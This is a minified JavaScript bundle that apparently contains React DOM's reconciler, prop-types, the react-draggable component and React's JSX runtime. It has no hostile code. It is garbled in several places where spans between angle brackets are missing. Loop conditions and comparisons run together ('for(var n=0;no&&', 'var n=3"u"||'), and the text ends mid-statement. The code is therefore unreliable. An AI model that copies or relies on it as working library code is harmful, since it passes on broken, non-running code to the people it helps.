t[P0])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function ry(e){return e.tag===5||e.tag===3||e.tag===4}function sf(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||ry(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Es(e,t,r){var n=e.tag;if(n===5||n===6)e=e.stateNode,t?r.nodeType===8?r.parentNode.insertBefore(e,t):r.insertBefore(e,t):(r.nodeType===8?(t=r.parentNode,t.insertBefore(e,r)):(t=r,t.appendChild(e)),r=r._reactRootContainer,r!=null||t.onclick!==null||(t.onclick=$i));else if(n!==4&&(e=e.child,e!==null))for(Es(e,t,r),e=e.sibling;e!==null;)Es(e,t,r),e=e.sibling}function Cs(e,t,r){var n=e.tag;if(n===5||n===6)e=e.stateNode,t?r.insertBefore(e,t):r.appendChild(e);else if(n!==4&&(e=e.child,e!==null))for(Cs(e,t,r),e=e.sibling;e!==null;)Cs(e,t,r),e=e.sibling}var Ee=null,_t=!1;function Gt(e,t,r){for(r=r.child;r!==null;)ny(e,t,r),r=r.sibling}function ny(e,t,r){if(Nt&&typeof Nt.onCommitFiberUnmount=="function")try{Nt.onCommitFiberUnmount(Pl,r)}catch{}switch(r.tag){case 5:Le||Kr(r,t);case 6:var n=Ee,o=_t;Ee=null,Gt(e,t,r),Ee=n,_t=o,Ee!==null&&(_t?(e=Ee,r=r.stateNode,e.nodeType===8?e.parentNode.removeChild(r):e.removeChild(r)):Ee.removeChild(r.stateNode));break;case 18:Ee!==null&&(_t?(e=Ee,r=r.stateNode,e.nodeType===8?_a(e.parentNode,r):e.nodeType===1&&_a(e,r),to(e)):_a(Ee,r.stateNode));break;case 4:n=Ee,o=_t,Ee=r.stateNode.containerInfo,_t=!0,Gt(e,t,r),Ee=n,_t=o;break;case 0:case 11:case 14:case 15:if(!Le&&(n=r.updateQueue,n!==null&&(n=n.lastEffect,n!==null))){o=n=n.next;do{var i=o,l=i.destroy;i=i.tag,l!==void 0&&((i&2)!==0||(i&4)!==0)&&ks(r,t,l),o=o.next}while(o!==n)}Gt(e,t,r);break;case 1:if(!Le&&(Kr(r,t),n=r.stateNode,typeof n.componentWillUnmount=="function"))try{n.props=r.memoizedProps,n.state=r.memoizedState,n.componentWillUnmount()}catch(a){ye(r,t,a)}Gt(e,t,r);break;case 21:Gt(e,t,r);break;case 22:r.mode&1?(Le=(n=Le)||r.memoizedState!==null,Gt(e,t,r),Le=n):Gt(e,t,r);break;default:Gt(e,t,r)}}function uf(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var r=e.stateNode;r===null&&(r=e.stateNode=new L0),t.forEach(function(n){var o=Q0.bind(null,e,n);r.has(n)||(r.add(n),n.then(o,o))})}}function vt(e,t){var r=t.deletions;if(r!==null)for(var n=0;no&&(o=l),n&=~i}if(n=o,n=ve()-n,n=(120>n?120:480>n?480:1080>n?1080:1920>n?1920:3e3>n?3e3:4320>n?4320:1960*W0(n/1960))-n,10e?16:e,nr===null)var n=!1;else{if(e=nr,nr=null,Li=0,(X&6)!==0)throw Error(E(331));var o=X;for(X|=4,L=e.current;L!==null;){var i=L,l=i.child;if((L.flags&16)!==0){var a=i.deletions;if(a!==null){for(var s=0;sve()-Cu?$r(e,0):Eu|=r),Xe(e,t)}function fy(e,t){t===0&&((e.mode&1)===0?t=1:(t=No,No<<=1,(No&130023424)===0&&(No=4194304)));var r=We();e=Ht(e,t),e!==null&&(ho(e,t,r),Xe(e,r))}function Y0(e){var t=e.memoizedState,r=0;t!==null&&(r=t.retryLane),fy(e,r)}function Q0(e,t){var r=0;switch(e.tag){case 13:var n=e.stateNode,o=e.memoizedState;o!==null&&(r=o.retryLane);break;case 19:n=e.stateNode;break;default:throw Error(E(314))}n!==null&&n.delete(t),fy(e,r)}var dy;dy=function(e,t,r){if(e!==null)if(e.memoizedProps!==t.pendingProps||Ye.current)Ge=!0;else{if((e.lanes&r)===0&&(t.flags&128)===0)return Ge=!1,j0(e,t,r);Ge=(e.flags&131072)!==0}else Ge=!1,ue&&(t.flags&1048576)!==0&&ym(t,Ci,t.index);switch(t.lanes=0,t.tag){case 2:var n=t.type;si(e,t),e=t.pendingProps;var o=sn(t,Fe.current);nn(t,r),o=Pu(null,t,n,e,o,r);var i=Ou();return t.flags|=1,typeof o=="object"&&o!==null&&typeof o.render=="function"&&o.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Qe(n)?(i=!0,bi(t)):i=!1,t.memoizedState=o.state!==null&&o.state!==void 0?o.state:null,vu(t),o.updater=El,t.stateNode=o,o._reactInternals=t,ws(t,n,e,r),t=Ps(null,t,n,!0,i,r)):(t.tag=0,ue&&i&&cu(t),Ae(null,t,o,r),t=t.child),t;case 16:n=t.elementType;e:{switch(si(e,t),e=t.pendingProps,o=n._init,n=o(n._payload),t.type=n,o=t.tag=K0(n),e=wt(n,e),o){case 0:t=Ss(null,t,n,e,r);break e;case 1:t=nf(null,t,n,e,r);break e;case 11:t=tf(null,t,n,e,r);break e;case 14:t=rf(null,t,n,wt(n.type,e),r);break e}throw Error(E(306,n,""))}return t;case 0:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),Ss(e,t,n,o,r);case 1:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),nf(e,t,n,o,r);case 3:e:{if(Xm(t),e===null)throw Error(E(387));n=t.pendingProps,i=t.memoizedState,o=i.element,wm(e,t),zi(t,n,null,r);var l=t.memoizedState;if(n=l.element,i.isDehydrated)if(i={element:n,isDehydrated:!1,cache:l.cache,pendingSuspenseBoundaries:l.pendingSuspenseBoundaries,transitions:l.transitions},t.updateQueue.baseState=i,t.memoizedState=i,t.flags&256){o=dn(Error(E(423)),t),t=of(e,t,n,r,o);break e}else if(n!==o){o=dn(Error(E(424)),t),t=of(e,t,n,r,o);break e}else for(rt=ar(t.stateNode.containerInfo.firstChild),nt=t,ue=!0,St=null,r=Om(t,null,n,r),t.child=r;r;)r.flags=r.flags&-3|4096,r=r.sibling;else{if(un(),n===o){t=Bt(e,t,r);break e}Ae(e,t,n,r)}t=t.child}return t;case 5:return xm(t),e===null&&gs(t),n=t.type,o=t.pendingProps,i=e!==null?e.memoizedProps:null,l=o.children,fs(n,o)?l=null:i!==null&&fs(n,i)&&(t.flags|=32),Qm(e,t),Ae(e,t,l,r),t.child;case 6:return e===null&&gs(t),null;case 13:return Km(e,t,r);case 4:return hu(t,t.stateNode.containerInfo),n=t.pendingProps,e===null?t.child=cn(t,null,n,r):Ae(e,t,n,r),t.child;case 11:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),tf(e,t,n,o,r);case 7:return Ae(e,t,t.pendingProps,r),t.child;case 8:return Ae(e,t,t.pendingProps.children,r),t.child;case 12:return Ae(e,t,t.pendingProps.children,r),t.child;case 10:e:{if(n=t.type._context,o=t.pendingProps,i=t.memoizedProps,l=o.value,oe(Ni,n._currentValue),n._currentValue=l,i!==null)if(xt(i.value,l)){if(i.children===o.children&&!Ye.current){t=Bt(e,t,r);break e}}else for(i=t.child,i!==null&&(i.return=t);i!==null;){var a=i.dependencies;if(a!==null){l=i.child;for(var s=a.firstContext;s!==null;){if(s.context===n){if(i.tag===1){s=At(-1,r&-r),s.tag=2;var u=i.updateQueue;if(u!==null){u=u.shared;var p=u.pending;p===null?s.next=s:(s.next=p.next,p.next=s),u.pending=s}}i.lanes|=r,s=i.alternate,s!==null&&(s.lanes|=r),vs(i.return,r,t),a.lanes|=r;break}s=s.next}}else if(i.tag===10)l=i.type===t.type?null:i.child;else if(i.tag===18){if(l=i.return,l===null)throw Error(E(341));l.lanes|=r,a=l.alternate,a!==null&&(a.lanes|=r),vs(l,r,t),l=i.sibling}else l=i.child;if(l!==null)l.return=i;else for(l=i;l!==null;){if(l===t){l=null;break}if(i=l.sibling,i!==null){i.return=l.return,l=i;break}l=l.return}i=l}Ae(e,t,o.children,r),t=t.child}return t;case 9:return o=t.type,n=t.pendingProps.children,nn(t,r),o=yt(o),n=n(o),t.flags|=1,Ae(e,t,n,r),t.child;case 14:return n=t.type,o=wt(n,t.pendingProps),o=wt(n.type,o),rf(e,t,n,o,r);case 15:return Gm(e,t,t.type,t.pendingProps,r);case 17:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),si(e,t),t.tag=1,Qe(n)?(e=!0,bi(t)):e=!1,nn(t,r),Sm(t,n,o),ws(t,n,o,r),Ps(null,t,n,!0,e,r);case 19:return Zm(e,t,r);case 22:return Ym(e,t,r)}throw Error(E(156,t.tag))};function py(e,t){return Fp(e,t)}function X0(e,t,r,n){this.tag=e,this.key=r,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=n,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function pt(e,t,r,n){return new X0(e,t,r,n)}function Ru(e){return e=e.prototype,!(!e||!e.isReactComponent)}function K0(e){if(typeof e=="function")return Ru(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Js)return 11;if(e===qs)return 14}return 2}function fr(e,t){var r=e.alternate;return r===null?(r=pt(e.tag,t,e.key,e.mode),r.elementType=e.elementType,r.type=e.type,r.stateNode=e.stateNode,r.alternate=e,e.alternate=r):(r.pendingProps=t,r.type=e.type,r.flags=0,r.subtreeFlags=0,r.deletions=null),r.flags=e.flags&14680064,r.childLanes=e.childLanes,r.lanes=e.lanes,r.child=e.child,r.memoizedProps=e.memoizedProps,r.memoizedState=e.memoizedState,r.updateQueue=e.updateQueue,t=e.dependencies,r.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},r.sibling=e.sibling,r.index=e.index,r.ref=e.ref,r}function fi(e,t,r,n,o,i){var l=2;if(n=e,typeof e=="function")Ru(e)&&(l=1);else if(typeof e=="string")l=5;else e:switch(e){case Wr:return kr(r.children,o,i,t);case Zs:l=8,o|=8;break;case Ha:return e=pt(12,r,t,o|2),e.elementType=Ha,e.lanes=i,e;case Ba:return e=pt(13,r,t,o),e.elementType=Ba,e.lanes=i,e;case Ua:return e=pt(19,r,t,o),e.elementType=Ua,e.lanes=i,e;case Pp:return zl(r,o,i,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case _p:l=10;break e;case Sp:l=9;break e;case Js:l=11;break e;case qs:l=14;break e;case Zt:l=16,n=null;break e}throw Error(E(130,e==null?e:typeof e,""))}return t=pt(l,r,t,o),t.elementType=e,t.type=n,t.lanes=i,t}function kr(e,t,r,n){return e=pt(7,e,n,t),e.lanes=r,e}function zl(e,t,r,n){return e=pt(22,e,n,t),e.elementType=Pp,e.lanes=r,e.stateNode={isHidden:!1},e}function Ea(e,t,r){return e=pt(6,e,null,t),e.lanes=r,e}function Ca(e,t,r){return t=pt(4,e.children!==null?e.children:[],e.key,t),t.lanes=r,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function Z0(e,t,r,n,o){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=ua(0),this.expirationTimes=ua(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=ua(0),this.identifierPrefix=n,this.onRecoverableError=o,this.mutableSourceEagerHydrationData=null}function Du(e,t,r,n,o,i,l,a,s){return e=new Z0(e,t,r,a,s),t===1?(t=1,i===!0&&(t|=8)):t=0,i=pt(3,null,null,t),e.current=i,i.stateNode=e,i.memoizedState={element:n,isDehydrated:r,cache:null,transitions:null,pendingSuspenseBoundaries:null},vu(i),e}function J0(e,t,r){var n=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(r){console.error(r)}}t(),e.exports=at})(Sl);var vf=Sl.exports;Wa.createRoot=vf.createRoot,Wa.hydrateRoot=vf.hydrateRoot;var Ml={exports:{}},vy={},Lu={exports:{}},n1="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED",o1=n1,i1=o1;function hy(){}function wy(){}wy.resetWarningCache=hy;var l1=function(){function e(n,o,i,l,a,s){if(s!==i1){var u=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}e.isRequired=e;function t(){return e}var r={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:wy,resetWarningCache:hy};return r.PropTypes=r,r};Lu.exports=l1();function _y(e){var t,r,n="";if(typeof e=="string"||typeof e=="number")n+=e;else if(typeof e=="object")if(Array.isArray(e))for(t=0;t0&&arguments[0]!==void 0?arguments[0]:"transform";if(typeof window>"u")return"";var n=(e=window.document)===null||e===void 0||(t=e.documentElement)===null||t===void 0?void 0:t.style;if(!n||r in n)return"";for(var o=0;o: Unmounted during event!");return t}var Ll={},Fl={};Object.defineProperty(Fl,"__esModule",{value:!0});Fl.default=A1;function A1(){}function Wi(e){return Wi=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(t){return typeof t}:function(t){return t&&typeof Symbol=="function"&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},Wi(e)}Object.defineProperty(Ll,"__esModule",{value:!0});Ll.default=void 0;var Ta=V1($.exports),Je=Wu(Lu.exports),W1=Wu(Sl.exports),je=ge,Yt=Dt,za=Rt,En=Wu(Fl);function Wu(e){return e&&e.__esModule?e:{default:e}}function Ny(e){if(typeof WeakMap!="function")return null;var t=new WeakMap,r=new WeakMap;return(Ny=function(o){return o?r:t})(e)}function V1(e,t){if(!t&&e&&e.__esModule)return e;if(e===null||Wi(e)!=="object"&&typeof e!="function")return{default:e};var r=Ny(t);if(r&&r.has(e))return r.get(e);var n={},o=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if(i!=="default"&&Object.prototype.hasOwnProperty.call(e,i)){var l=o?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(n,i,l):n[i]=e[i]}return n.default=e,r&&r.set(e,n),n}function _f(e,t){return G1(e)||U1(e,t)||B1(e,t)||H1()}function H1(){throw new TypeError(`Invalid attempt to destructure non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function B1(e,t){if(!!e){if(typeof e=="string")return Sf(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);if(r==="Object"&&e.constructor&&(r=e.constructor.name),r==="Map"||r==="Set")return Array.from(e);if(r==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Sf(e,t)}}function Sf(e,t){(t==null||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function Vi(e){return Vi=Object.setPrototypeOf?Object.getPrototypeOf:function(r){return r.__proto__||Object.getPrototypeOf(r)},Vi(e)}function ct(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var ht={touch:{start:"touchstart",move:"touchmove",stop:"touchend"},mouse:{start:"mousedown",move:"mousemove",stop:"mouseup"}},Qt=ht.mouse,Al=function(e){X1(r,e);var t=K1(r);function r(){var n;Y1(this,r);for(var o=arguments.length,i=new Array(o),l=0;l not mounted on DragStart!");var u=s.ownerDocument;if(!(n.props.disabled||!(a.target instanceof u.defaultView.Node)||n.props.handle&&!(0,je.matchesSelectorAndParentsTo)(a.target,n.props.handle,s)||n.props.cancel&&(0,je.matchesSelectorAndParentsTo)(a.target,n.props.cancel,s))){a.type==="touchstart"&&a.preventDefault();var p=(0,je.getTouchIdentifier)(a);n.setState({touchIdentifier:p});var m=(0,Yt.getControlPosition)(a,p,Ie(n));if(m!=null){var d=m.x,g=m.y,h=(0,Yt.createCoreData)(Ie(n),d,g);(0,En.default)("DraggableCore: handleDragStart: %j",h),(0,En.default)("calling",n.props.onStart);var v=n.props.onStart(a,h);v===!1||n.mounted===!1||(n.props.enableUserSelectHack&&(0,je.addUserSelectStyles)(u),n.setState({dragging:!0,lastX:d,lastY:g}),(0,je.addEvent)(u,Qt.move,n.handleDrag),(0,je.addEvent)(u,Qt.stop,n.handleDragStop))}}}),ct(Ie(n),"handleDrag",function(a){var s=(0,Yt.getControlPosition)(a,n.state.touchIdentifier,Ie(n));if(s!=null){var u=s.x,p=s.y;if(Array.isArray(n.props.grid)){var m=u-n.state.lastX,d=p-n.state.lastY,g=(0,Yt.snapToGrid)(n.props.grid,m,d),h=_f(g,2);if(m=h[0],d=h[1],!m&&!d)return;u=n.state.lastX+m,p=n.state.lastY+d}var v=(0,Yt.createCoreData)(Ie(n),u,p);(0,En.default)("DraggableCore: handleDrag: %j",v);var x=n.props.onDrag(a,v);if(x===!1||n.mounted===!1){try{n.handleDragStop(new MouseEvent("mouseup"))}catch{var f=document.createEvent("MouseEvents");f.initMouseEvent("mouseup",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),n.handleDragStop(f)}return}n.setState({lastX:u,lastY:p})}}),ct(Ie(n),"handleDragStop",function(a){if(!!n.state.dragging){var s=(0,Yt.getControlPosition)(a,n.state.touchIdentifier,Ie(n));if(s!=null){var u=s.x,p=s.y;if(Array.isArray(n.props.grid)){var m=u-n.state.lastX||0,d=p-n.state.lastY||0,g=(0,Yt.snapToGrid)(n.props.grid,m,d),h=_f(g,2);m=h[0],d=h[1],u=n.state.lastX+m,p=n.state.lastY+d}var v=(0,Yt.createCoreData)(Ie(n),u,p),x=n.props.onStop(a,v);if(x===!1||n.mounted===!1)return!1;var f=n.findDOMNode();f&&n.props.enableUserSelectHack&&(0,je.removeUserSelectStyles)(f.ownerDocument),(0,En.default)("DraggableCore: handleDragStop: %j",v),n.setState({dragging:!1,lastX:NaN,lastY:NaN}),f&&((0,En.default)("DraggableCore: Removing handlers"),(0,je.removeEvent)(f.ownerDocument,Qt.move,n.handleDrag),(0,je.removeEvent)(f.ownerDocument,Qt.stop,n.handleDragStop))}}}),ct(Ie(n),"onMouseDown",function(a){return Qt=ht.mouse,n.handleDragStart(a)}),ct(Ie(n),"onMouseUp",function(a){return Qt=ht.mouse,n.handleDragStop(a)}),ct(Ie(n),"onTouchStart",function(a){return Qt=ht.touch,n.handleDragStart(a)}),ct(Ie(n),"onTouchEnd",function(a){return Qt=ht.touch,n.handleDragStop(a)}),n}return Q1(r,[{key:"componentDidMount",value:function(){this.mounted=!0;var o=this.findDOMNode();o&&(0,je.addEvent)(o,ht.touch.start,this.onTouchStart,{passive:!1})}},{key:"componentWillUnmount",value:function(){this.mounted=!1;var o=this.findDOMNode();if(o){var i=o.ownerDocument;(0,je.removeEvent)(i,ht.mouse.move,this.handleDrag),(0,je.removeEvent)(i,ht.touch.move,this.handleDrag),(0,je.removeEvent)(i,ht.mouse.stop,this.handleDragStop),(0,je.removeEvent)(i,ht.touch.stop,this.handleDragStop),(0,je.removeEvent)(o,ht.touch.start,this.onTouchStart,{passive:!1}),this.props.enableUserSelectHack&&(0,je.removeUserSelectStyles)(i)}}},{key:"findDOMNode",value:function(){var o,i,l;return(o=this.props)!==null&&o!==void 0&&o.nodeRef?(i=this.props)===null||i===void 0||(l=i.nodeRef)===null||l===void 0?void 0:l.current:W1.default.findDOMNode(this)}},{key:"render",value:function(){return Ta.cloneElement(Ta.Children.only(this.props.children),{onMouseDown:this.onMouseDown,onMouseUp:this.onMouseUp,onTouchEnd:this.onTouchEnd})}}]),r}(Ta.Component);Ll.default=Al;ct(Al,"displayName","DraggableCore");ct(Al,"propTypes",{allowAnyClick:Je.default.bool,disabled:Je.default.bool,enableUserSelectHack:Je.default.bool,offsetParent:function(t,r){if(t[r]&&t[r].nodeType!==1)throw new Error("Draggable's offsetParent must be a DOM Node.")},grid:Je.default.arrayOf(Je.default.number),handle:Je.default.string,cancel:Je.default.string,nodeRef:Je.default.object,onStart:Je.default.func,onDrag:Je.default.func,onStop:Je.default.func,onMouseDown:Je.default.func,scale:Je.default.number,className:za.dontSetMe,style:za.dontSetMe,transform:za.dontSetMe});ct(Al,"defaultProps",{allowAnyClick:!1,disabled:!1,enableUserSelectHack:!0,onStart:function(){},onDrag:function(){},onStop:function(){},onMouseDown:function(){},scale:1});(function(e){function t(_){return t=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(C){return typeof C}:function(C){return C&&typeof Symbol=="function"&&C.constructor===Symbol&&C!==Symbol.prototype?"symbol":typeof C},t(_)}Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"DraggableCore",{enumerable:!0,get:function(){return u.default}}),e.default=void 0;var r=h($.exports),n=d(Lu.exports),o=d(Sl.exports),i=d(s1),l=ge,a=Dt,s=Rt,u=d(Ll),p=d(Fl),m=["axis","bounds","children","defaultPosition","defaultClassName","defaultClassNameDragging","defaultClassNameDragged","position","positionOffset","scale"];function d(_){return _&&_.__esModule?_:{default:_}}function g(_){if(typeof WeakMap!="function")return null;var C=new WeakMap,z=new WeakMap;return(g=function(j){return j?z:C})(_)}function h(_,C){if(!C&&_&&_.__esModule)return _;if(_===null||t(_)!=="object"&&typeof _!="function")return{default:_};var z=g(C);if(z&&z.has(_))return z.get(_);var D={},j=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var A in _)if(A!=="default"&&Object.prototype.hasOwnProperty.call(_,A)){var U=j?Object.getOwnPropertyDescriptor(_,A):null;U&&(U.get||U.set)?Object.defineProperty(D,A,U):D[A]=_[A]}return D.default=_,z&&z.set(_,D),D}function v(){return v=Object.assign||function(_){for(var C=1;C=0)&&(!Object.prototype.propertyIsEnumerable.call(_,D)||(z[D]=_[D]))}return z}function f(_,C){if(_==null)return{};var z={},D=Object.keys(_),j,A;for(A=0;A=0)&&(z[j]=_[j]);return z}function c(_,C){var z=Object.keys(_);if(Object.getOwnPropertySymbols){var D=Object.getOwnPropertySymbols(_);C&&(D=D.filter(function(j){return Object.getOwnPropertyDescriptor(_,j).enumerable})),z.push.apply(z,D)}return z}function y(_){for(var C=1;C_.length)&&(C=_.length);for(var z=0,D=new Array(C);z"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function F(_){return F=Object.setPrototypeOf?Object.getPrototypeOf:function(z){return z.__proto__||Object.getPrototypeOf(z)},F(_)}function M(_,C,z){return C in _?Object.defineProperty(_,C,{value:z,enumerable:!0,configurable:!0,writable:!0}):_[C]=z,_}var B=function(_){Y(z,_);var C=re(z);function z(D){var j;return R(this,z),j=C.call(this,D),M(ne(j),"onDragStart",function(A,U){(0,p.default)("Draggable: onDragStart: %j",U);var te=j.props.onStart(A,(0,a.createDraggableData)(ne(j),U));if(te===!1)return!1;j.setState({dragging:!0,dragged:!0})}),M(ne(j),"onDrag",function(A,U){if(!j.state.dragging)return!1;(0,p.default)("Draggable: onDrag: %j",U);var te=(0,a.createDraggableData)(ne(j),U),W={x:te.x,y:te.y};if(j.props.bounds){var Ze=W.x,ae=W.y;W.x+=j.state.slackX,W.y+=j.state.slackY;var se=(0,a.getBoundPosition)(ne(j),W.x,W.y),jt=S(se,2),wn=jt[0],Ir=jt[1];W.x=wn,W.y=Ir,W.slackX=j.state.slackX+(Ze-W.x),W.slackY=j.state.slackY+(ae-W.y),te.x=W.x,te.y=W.y,te.deltaX=W.x-j.state.x,te.deltaY=W.y-j.state.y}var xo=j.props.onDrag(A,te);if(xo===!1)return!1;j.setState(W)}),M(ne(j),"onDragStop",function(A,U){if(!j.state.dragging)return!1;var te=j.props.onStop(A,(0,a.createDraggableData)(ne(j),U));if(te===!1)return!1;(0,p.default)("Draggable: onDragStop: %j",U);var W={dragging:!1,slackX:0,slackY:0},Ze=Boolean(j.props.position);if(Ze){var ae=j.props.position,se=ae.x,jt=ae.y;W.x=se,W.y=jt}j.setState(W)}),j.state={dragging:!1,dragged:!1,x:D.position?D.position.x:D.defaultPosition.x,y:D.position?D.position.y:D.defaultPosition.y,prevPropsPosition:y({},D.position),slackX:0,slackY:0,isElementSVG:!1},D.position&&!(D.onDrag||D.onStop)&&console.warn("A `position` was applied to this , without drag handlers. This will make this component effectively undraggable. Please attach `onDrag` or `onStop` handlers so you can adjust the `position` of this element."),j}return G(z,[{key:"componentDidMount",value:function(){typeof window.SVGElement<"u"&&this.findDOMNode()instanceof window.SVGElement&&this.setState({isElementSVG:!0})}},{key:"componentWillUnmount",value:function(){this.setState({dragging:!1})}},{key:"findDOMNode",value:function(){var j,A,U;return(j=(A=this.props)===null||A===void 0||(U=A.nodeRef)===null||U===void 0?void 0:U.current)!==null&&j!==void 0?j:o.default.findDOMNode(this)}},{key:"render",value:function(){var j,A=this.props;A.axis,A.bounds;var U=A.children,te=A.defaultPosition,W=A.defaultClassName,Ze=A.defaultClassNameDragging,ae=A.defaultClassNameDragged,se=A.position,jt=A.positionOffset;A.scale;var wn=x(A,m),Ir={},xo=null,jv=Boolean(se),oc=!jv||this.state.dragging,ic=se||te,lc={x:(0,a.canDragX)(this)&&oc?this.state.x:ic.x,y:(0,a.canDragY)(this)&&oc?this.state.y:ic.y};this.state.isElementSVG?xo=(0,l.createSVGTransform)(lc,jt):Ir=(0,l.createCSSTransform)(lc,jt);var Iv=(0,i.default)(U.props.className||"",W,(j={},M(j,Ze,this.state.dragging),M(j,ae,this.state.dragged),j));return r.createElement(u.default,v({},wn,{onStart:this.onDragStart,onDrag:this.onDrag,onStop:this.onDragStop}),r.cloneElement(r.Children.only(U),{className:Iv,style:y(y({},U.props.style),Ir),transform:xo}))}}],[{key:"getDerivedStateFromProps",value:function(j,A){var U=j.position,te=A.prevPropsPosition;return U&&(!te||U.x!==te.x||U.y!==te.y)?((0,p.default)("Draggable: getDerivedStateFromProps %j",{position:U,prevPropsPosition:te}),{x:U.x,y:U.y,prevPropsPosition:y({},U)}):null}}]),z}(r.Component);e.default=B,M(B,"displayName","Draggable"),M(B,"propTypes",y(y({},u.default.propTypes),{},{axis:n.default.oneOf(["both","x","y","none"]),bounds:n.default.oneOfType([n.default.shape({left:n.default.number,right:n.default.number,top:n.default.number,bottom:n.default.number}),n.default.string,n.default.oneOf([!1])]),defaultClassName:n.default.string,defaultClassNameDragging:n.default.string,defaultClassNameDragged:n.default.string,defaultPosition:n.default.shape({x:n.default.number,y:n.default.number}),positionOffset:n.default.shape({x:n.default.oneOfType([n.default.number,n.default.string]),y:n.default.oneOfType([n.default.number,n.default.string])}),position:n.default.shape({x:n.default.number,y:n.default.number}),className:s.dontSetMe,style:s.dontSetMe,transform:s.dontSetMe})),M(B,"defaultProps",y(y({},u.default.defaultProps),{},{axis:"both",bounds:!1,defaultClassName:"react-draggable",defaultClassNameDragging:"react-draggable-dragging",defaultClassNameDragged:"react-draggable-dragged",defaultPosition:{x:0,y:0},scale:1}))})(vy);var Ty=vy,zy=Ty.default,q1=Ty.DraggableCore;Ml.exports=zy;Ml.exports.default=zy;Ml.exports.DraggableCore=q1;var Wl={exports:{}},Vl={};/** + * @license React + * react-jsx-runtime.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var ew=$.exports,tw=Symbol.for("react.element"),rw=Symbol.for("react.fragment"),nw=Object.prototype.hasOwnProperty,ow=ew.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,iw={key:!0,ref:!0,__self:!0,__source:!0};function Ry(e,t,r){var n,o={},i=null,l=null;r!==void 0&&(i=""+r),t.key!==void 0&&(i=""+t.key),t.ref!==void 0&&(l=t.ref);for(n in t)nw.call(t,n)&&!iw.hasOwnProperty(n)&&(o[n]=t[n]);if(e&&e.defaultProps)for(n in t=e.defaultProps,t)o[n]===void 0&&(o[n]=t[n]);return{$$typeof:tw,type:e,key:i,ref:l,props:o,_owner:ow.current}}Vl.Fragment=rw;Vl.jsx=Ry;Vl.jsxs=Ry;(function(e){e.exports=Vl})(Wl);const Hi=Wl.exports.Fragment,P=Wl.exports.jsx,Z=Wl.exports.jsxs;function Dy(e){return Array.isArray(e)?e:[e]}function lw(e){return Object.keys(e)}const 